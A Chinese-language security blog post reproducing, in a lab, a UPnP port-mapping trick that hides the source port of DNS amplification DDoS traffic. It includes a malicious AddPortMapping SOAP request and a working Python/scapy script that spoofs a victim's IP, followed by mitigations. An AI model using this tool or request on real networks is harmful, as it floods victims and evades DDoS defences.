利用UPnP设备放大DDoS攻击并绕过防御

by LauCyun May 23,2018 21:22:21 16,162 views

周三下完班,在地铁上跟往常一样刷着Twitter阅读各类安全信息,当刷到@Imperva发的那条推文(如图1所示)时,觉得挺有意思。


图1 Imperva的推文(传送门:Twitter

@Imperva的报告称,黑客在DDoS攻击时,会使用UPnP设备来掩盖网络数据包的源端口,从而绕过DDoS防御服务。

本文介绍如何利用UPnP设备放大DDoS攻击并绕过防御。

0x00 背景

这个攻击方法可以通过一个众所周知但尚未解决的UPnP协议漏洞攻击来实现。这个协议原本的目的是简化在本地网络上发现附近设备的过程。

UPnP(全名:Universal Plug and Play,中文名:即插即用设备),主要是微软在推行的一个标准。简单的来说,UPnP最大的愿景就是希望任何设备只要一接上网络,所有在网络上的设备马上就能知道有新设备加入,这些设备彼此之间能互相沟通,更能直接使用或控制它,一切都不需要设定,完全的Plug and Play。该协议通常由IoT设备(例如计算机、路由器或打印机)用于发现彼此的存在并通过LAN进行通信。

UPnP协议的标准化做的不尽如人意,导致一直不断的爆出安全问题,其原因:

  • 错误的默认设置让设备开放到WAN访问
  • 缺乏认证机制
  • UPnP特有的远程代码执行漏洞的存在

UPnP协议的特点是它能够将互联网连接转发到本地网络,此功能可以用来穿透NAT,网络管理员也可以远程访问内网里的服务。这意味着如果攻击者设法污染端口映射表,它可以使用路由器作为代理,并且把IP重定向。实际上利用UPnP进行攻击并不新鲜,Akamai就曾介绍过这种攻击,并把它称为UPnProxy

@Imperva表示,这个技术也被用于进行DDoS攻击,目的是掩盖DDoS放大攻击(也被称为反射攻击)的源端口。

在传统的DDoS放大攻击中,源端口指向的始终是放大攻击服务的端口,比如:DNS放大攻击时从DNS服务器反弹的数据包的源端口号为53,而NTP放大攻击的源端口号为123。基于这个原理,那些抗DDoS的服务可以屏蔽指定源端口来阻止DDoS攻击。

但是,如果黑客使用了UPnProxy,就可以修改端口映射表,可以把端口映射为随机(比如:1337),从而绕过DDoS防御服务,如图2所示。


图2 UPnProxy攻击

0x01 环境

测试环境:

  • DNS服务器:
    • IP:192.168.1.114
    • OS:Ubuntu 16.04
  • 路由器:
    • OS:OpenWRT 15.05
    • LAN:192.168.1.0/24
    • WAN:192.168.0.144
    • UPnP:0.0.0.0:1337 <-> 192.168.1.114:53
  • Web服务器:
    • IP:192.168.0.200
    • 域名:laucyun.com
  • 靶机:
    • IP:192.168.0.148
  • 攻击机:
    • IP:192.168.0.177

测试环境的思路来源于图2,其拓扑图如图3所示:


图3 测试环境网络拓扑图

1 DNS服务器

首先搭建一个DNS服务器,具体的搭建过程,请参考:ubuntu搭建内网dns服务器 - CSDN博客,但是它的配置文件有点问题,下面将给出相应的配置文件。

/etc/bind/named.conf.default-zones末尾添加如下内容:

zone "laucyun.com" {
        type master;
        file "/etc/bind/db.laucyun.com";
};

zone "200.0.168.192.in-addr-arpa" {
        type master;
        file "/etc/bind/db.200.0.168.192.in-addr-arpa";
};

其中200.0.168.192是Web服务器ip的反写,若你的服务器ip是abc.def.ghi.jkl,则在这要写成jkl.ghi.def.abc

然后,在/etc/bind中创建db.laucyun.comdb.200.0.168.192.in-addr-arpa两个文件,文件db.laucyun.com的内容如下:

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     laucyun.com. root.laucyun.com. (
                              2         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      laucyun.com.
@       IN      A       192.168.0.200

文件db.200.0.168.192.in-addr-arpa的内容如下:

;
; BIND reverse data file for local loopback interface
;
$TTL    604800
@       IN      SOA     laucyun.com. root.laucyun.com. (
                              1         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      laucyun.com.
1.0.0   IN      PTR     laucyun.com.

最后,修改/etc/bind/named.conf.options中的forwarders,如下:

options {
        directory "/var/cache/bind";
        forwarders {
                8.8.8.8;
        };
        dnssec-validation auto;
        auth-nxdomain no;    # conform to RFC1035
        listen-on-v6 { any; };
};

OK,现在DNS服务器配置完成了,执行service bind9 restart/etc/init.d/bind9 restart重启DNS服务器,通过nslookup laucyun.com查看是否配置成功,如图4所示即为配置成功~~


图4 查看域名信息

2 修改端口转发规则

通过Miranda可得到路由器的UPnP服务是192.168.1.1:1900,而设备描述文件是http://192.168.1.1:1900/rootDesc.xml,如图5所示:


图5 UPnP主机

从设备描述rootDesc.xml中,可得知:设备的特定厂商、制造商信息,如模块名称和编号、序列号、制造商名称、特定厂商网站 URL 等。对于设备中的每种服务,设备描述都包含服务类型、名称、服务描述URL、控制URL以及事件URL。设备描述还包含所有嵌入式设备描述与URL地址集。如下所示:

<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
    <specVersion>
        <major>1</major>
        <minor>0</minor>
    </specVersion>
    <device>
        <deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType>
        <friendlyName>OpenWRT router</friendlyName>
        <manufacturer>OpenWRT</manufacturer>
        <manufacturerURL>http://www.openwrt.org/</manufacturerURL>
        <modelDescription>OpenWRT router</modelDescription>
        <modelName>OpenWRT router</modelName>
        <modelNumber>1</modelNumber>
        <modelURL>http://www.openwrt.org/</modelURL>
        <serialNumber>00000000</serialNumber>
        <UDN>uuid:82b6ef8a-87c6-4cea-8e4d-c35f3313c48d</UDN>
        <serviceList>
            <service>
                <serviceType>urn:schemas-upnp-org:service:Layer3Forwarding:1</serviceType>
                <serviceId>urn:upnp-org:serviceId:Layer3Forwarding1</serviceId>
                <controlURL>/ctl/L3F</controlURL>
                <eventSubURL>/evt/L3F</eventSubURL>
                <SCPDURL>/L3F.xml</SCPDURL>
            </service>
        </serviceList>
        <deviceList>
            <device>
                <deviceType>urn:schemas-upnp-org:device:WANDevice:1</deviceType>
                <friendlyName>WANDevice</friendlyName>
                <manufacturer>MiniUPnP</manufacturer>
                <manufacturerURL>http://miniupnp.free.fr/</manufacturerURL>
                <modelDescription>WAN Device</modelDescription>
                <modelName>WAN Device</modelName>
                <modelNumber>20160127</modelNumber>
                <modelURL>http://miniupnp.free.fr/</modelURL>
                <serialNumber>00000000</serialNumber>
                <UDN>uuid:82b6ef8a-87c6-4cea-8e4d-c35f3313c48e</UDN>
                <UPC>000000000000</UPC>
                <serviceList>
                    <service>
                        <serviceType>urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1</serviceType>
                        <serviceId>urn:upnp-org:serviceId:WANCommonIFC1</serviceId>
                        <controlURL>/ctl/CmnIfCfg</controlURL>
                        <eventSubURL>/evt/CmnIfCfg</eventSubURL>
                        <SCPDURL>/WANCfg.xml</SCPDURL>
                    </service>
                </serviceList>
                <deviceList>
                    <device>
                        <deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:1</deviceType>
                        <friendlyName>WANConnectionDevice</friendlyName>
                        <manufacturer>MiniUPnP</manufacturer>
                        <manufacturerURL>http://miniupnp.free.fr/</manufacturerURL>
                        <modelDescription>MiniUPnP daemon</modelDescription>
                        <modelName>MiniUPnPd</modelName>
                        <modelNumber>20160127</modelNumber>
                        <modelURL>http://miniupnp.free.fr/</modelURL>
                        <serialNumber>00000000</serialNumber>
                        <UDN>uuid:82b6ef8a-87c6-4cea-8e4d-c35f3313c48f</UDN>
                        <UPC>000000000000</UPC>
                        <serviceList>
                            <service>
                                <serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
                                <serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
                                <controlURL>/ctl/IPConn</controlURL>
                                <eventSubURL>/evt/IPConn</eventSubURL>
                                <SCPDURL>/WANIPCn.xml</SCPDURL>
                            </service>
                        </serviceList>
                    </device>
                </deviceList>
            </device>
        </deviceList>
        <presentationURL>http://192.168.1.1/</presentationURL>
    </device>
</root>

上面rootDesc.xml中的服务类型有:

  • urn:schemas-upnp-org:service:Layer3Forwarding:1
  • urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
  • urn:schemas-upnp-org:service:WANIPConnection:1

而修改端口映射的服务类型是urn:schemas-upnp-org:service:WANIPConnection:1,服务信息如下:

<service>
    <serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
    <serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
    <controlURL>/ctl/IPConn</controlURL>
    <eventSubURL>/evt/IPConn</eventSubURL>
    <SCPDURL>/WANIPCn.xml</SCPDURL>
</service>

服务的各项参数的含义如下:

  • serviceType
    描述UPnP服务类型,固定格式是urn:domain-name:service:serviceType:v
  • serviceId
    服务标识符,固定格式是urn:domain-name:serviceId:serviceID,一般应用中访问就需要通过serviceId来调用相关的服务。
  • controlURL 
    控制的URL,调用服务的action必须要通过这个URL来调用,就相当于一个控制服务的地址。
  • eventSubURL 
    事件的URL,如果服务没有事件,则该元素必须展示出来,但是应该为空。
  • SCPDURL 
    服务描述的URL,URL中细节描述了服务包含的action,参数等。后面控制订阅都需要用到。

OK,接下来就是从http://192.168.1.1:1900/WANIPCn.xml中查看服务的Action信息,如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
    <specVersion>
        <major>1</major>
        <minor>0</minor>
    </specVersion>
    <actionList>
        ...
        <action>
            <name>GetGenericPortMappingEntry</name>
            <argumentList>
                <argument>
                    <name>NewPortMappingIndex</name>
                    <direction>in</direction>
                    <relatedStateVariable>PortMappingNumberOfEntries</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewRemoteHost</name>
                    <direction>out</direction>
                    <relatedStateVariable>RemoteHost</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewExternalPort</name>
                    <direction>out</direction>
                    <relatedStateVariable>ExternalPort</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewProtocol</name>
                    <direction>out</direction>
                    <relatedStateVariable>PortMappingProtocol</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewInternalPort</name>
                    <direction>out</direction>
                    <relatedStateVariable>InternalPort</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewInternalClient</name>
                    <direction>out</direction>
                    <relatedStateVariable>InternalClient</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewEnabled</name>
                    <direction>out</direction>
                    <relatedStateVariable>PortMappingEnabled</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewPortMappingDescription</name>
                    <direction>out</direction>
                    <relatedStateVariable>PortMappingDescription</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewLeaseDuration</name>
                    <direction>out</direction>
                    <relatedStateVariable>PortMappingLeaseDuration</relatedStateVariable>
                </argument>
            </argumentList>
        </action>
        <action>
            <name>AddPortMapping</name>
            <argumentList>
                <argument>
                    <name>NewRemoteHost</name>
                    <direction>in</direction>
                    <relatedStateVariable>RemoteHost</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewExternalPort</name>
                    <direction>in</direction>
                    <relatedStateVariable>ExternalPort</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewProtocol</name>
                    <direction>in</direction>
                    <relatedStateVariable>PortMappingProtocol</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewInternalPort</name>
                    <direction>in</direction>
                    <relatedStateVariable>InternalPort</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewInternalClient</name>
                    <direction>in</direction>
                    <relatedStateVariable>InternalClient</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewEnabled</name>
                    <direction>in</direction>
                    <relatedStateVariable>PortMappingEnabled</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewPortMappingDescription</name>
                    <direction>in</direction>
                    <relatedStateVariable>PortMappingDescription</relatedStateVariable>
                </argument>
                <argument>
                    <name>NewLeaseDuration</name>
                    <direction>in</direction>
                    <relatedStateVariable>PortMappingLeaseDuration</relatedStateVariable>
                </argument>
            </argumentList>
        </action>
        ...
    </actionList>
    ...
</scpd>

上面两个服务Action是下面会用到的:

  • AddPortMapping
    增加端口映射
  • GetGenericPortMappingEntry
    获得端口映射信息

接下来就可以通过AddPortMapping添加映射:0.0.0.0:1337<-> 192.168.1.114:53,请求如下:

POST /ctl/IPConn HTTP/1.1
Host: 192.168.1.1:1900
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache

<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body>
        <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
            <NewRemoteHost>0.0.0.0</NewRemoteHost>
            <NewExternalPort>5353</NewExternalPort>
            <NewProtocol>UDP</NewProtocol>
            <NewInternalPort>53</NewInternalPort>
            <NewInternalClient>192.168.1.114</NewInternalClient>
            <NewEnabled>1</NewEnabled>
            <NewPortMappingDescription>Malicious Port Forward</NewPortMappingDescription>
            <NewLeaseDuration>0</NewLeaseDuration>
        </u:AddPortMapping>
    </s:Body>
</s:Envelope>

OK,用工具BurpSuite请求,如图6所示:


图6 添加端口映射

图5所示即为添加成功了,但是为了进一步验证,如图7所示:


图7 查看端口5353的映射信息

图6所示即为0.0.0.0:1337 <-> 192.168.1.114:53映射成功wink

查看域名信息,如图8所示:


图8 域名信息

0x02 攻击

DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器。

简单对比下正常的DNS查询和攻击者的攻击方式:

  • 正常DNS查询:
    源IP地址 -> DNS查询 -> DNS服务器 -> DNS响应包 -> 源IP地址
  • DNS攻击:
    伪造IP地址 -> DNS查询 -> DNS服务器 -> DNS响应包 -> 伪造的IP地址(攻击目标)

如果通过UPnP设备放大攻击的话,其攻击方式如下:

  • 攻击者发出一个DNS请求;
  • UPnP设备(UDP端口是1337)收到一个DNS请求;
  • 由于端口转发规则(0.0.0.0:1337 <-> 192.168.1.114:53)的存在,所以该DNS请求会转发到DNS服务器(192.168.1.114:53);
  • DNS服务器响应;
  • UPnP设备将DNS响应转发回原始请求者,但会先把端口转为UPnP设备的端口;
  • 攻击目标收到DNS响应包,但源端口是1337

结合图3会更好理解。

在演示之前,先看一下PoC脚本,如下所示:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys, getopt
from scapy.all import *
import _thread


class DDoS(object):

    def __init__(self, target, dns_server, domain, thread_count=1):
        """

        `target`: Source Ip is spoofed as the Ip address of the victim.
        `dns_server`: <str> The DNS server.
        `domain`: <str> The domain name.
        """
        self._target = target
        self._domain = domain
        self._dns_server = dns_server
        self._thread_count = thread_count

    def __packet(self, target, dns_server, domain):
        """ Building new attack packet. """
        try:
            if target:
                ip = IP(src=target, dst=dns_server)
            else:
                ip = IP(dst=dns_server)
            udp = UDP(sport=80, dport=1337)
            dns = DNS(rd=1, qd=DNSQR(qname=domain, qtype="ALL", qclass="IN"), ar=DNSRROPT(rclass=3000))
            respon = send(ip / udp / dns)
            print(respon)
        except:
            pass

    def attack(self):
        if self._thread_count > 1:
            for i in range(self._thread_count):
                print("%d..." % i)
                _thread.start_new_thread(self.__packet, (self._target, self._dns_server, self._domain,))
        else:
            self.__packet(self._target, self._dns_server, self._domain)


def print_help():
    help = "Usage:\n"
    help += "  UPnP-DDoS-Attack [options]\n"
    help += "\n"
    help += "General Options:\n"
    help += "  -h                     Print this print_help message and exit.\n"
    help += "  -v                     Print product version number and exit.\n"
    help += "  -t, --target           Source Ip is spoofed as the Ip address of the victim.\n"
    help += "  -s, --server           DNS Server.\n"
    help += "  -d, --domain           Domain name.\n"
    help += "  -n                     The number of thread.\n"
    print(help)


def main(argv):
    target = None
    server = None
    domain = None
    thread_count = 0
    try:
        opts, args = getopt.getopt(argv, "h:v:n:t:s:d:", ["target=", "server=", "domain="])
    except getopt.GetoptError as e:
        print_help()
        sys.exit(2)
    for opt, arg in opts:
        if opt == "-h":
            print_help()
            sys.exit(0)
        elif opt == "-v":
            sys.exit()
        elif opt in ("-t", "--target"):
            target = arg
        elif opt in ("-s", "--server"):
            server = arg
        elif opt in ("-d", "--domain"):
            domain = arg
        elif opt == "-n":
            thread_count = int(arg)

    if target and server and domain and thread_count > 0:
        ddos = DDoS(target=target, dns_server=server, domain=domain, thread_count=thread_count)
        ddos.attack()
    else:
        print_help()
        sys.exit(2)


if __name__ == '__main__':
    main(sys.argv[1:])

运行python PoC.py -t 192.168.0.148 -s 192.168.0.144 -d laucyun.com -n 1(域名以laucyun.com为例),通常查询的域名是一些不存在或者生僻的域名,经过循环查询从而放大DNS流量。

发送的DNS查询请求数据包大小一般为60字节左右,而查询返回结果的数据包大小通常为3000字节以上,因此,使用该方式进行放大攻击能够达到50倍以上的放大效果。

更致命的是攻击者通过伪造IP向正常的DNS服务器发送这些恶意的查询请求,将流量引入受害者的服务器,受害者查不到攻击者的真实IP。

在靶机中将收到DNS响应,如图9所示:


图9 源端口为1337的DNS响应

上面的PoC证明UPnP设备可以用来混淆放大攻击的源端口数据。值得注意的是,它不限于DNS放大,它对SSDP、DNS和NTP攻击都是有效的。随着源IP和端口信息不再用作可靠的过滤因素,最有可能的方案是数据包的深度检测(DPI)来识别扩增有效载荷,但是消耗更多的资源。

0x03 总结

虽然UPnP的端口映射可以使用户的某些上网行为更加流畅,但由于设备被暴露到公网,导致了设备可以被公网恶意扫描访问到,同时Shodan、Zoomeye等网站也可以爬取到此类设备,因此大大提升了内网设备被恶意攻击利用的风险。

Shodan搜索结果(2018-05-23)来看,网上存在136万多个UPnP联网设备,如图10所示:


图10 Shodan搜索结果

UPnP的AddPortMapping命令中表示内网IP的参数名为NewInternalClient,网关设备一般都未对此参数进行认证,即使该地址对应的不是UPnP设备,甚至不是内网地址,在网关设备中均可以映射成功。UPnP认证功能不完善的问题,同样导致了一些安全隐患的产生。

此外,UPnP端口映射还可能导致中间人等攻击形式,或用于僵尸网络命令与控制信道(C&C),危害十分严重。

为了预防此类事件发生,给出以下几个防御措施:

  • 关闭路由器上的UPnP功能。
  • 在路由器上对内网地址进行严格过滤。
  • 安装安全防护软件对异常流量进行监控。

0x04 参考

Tags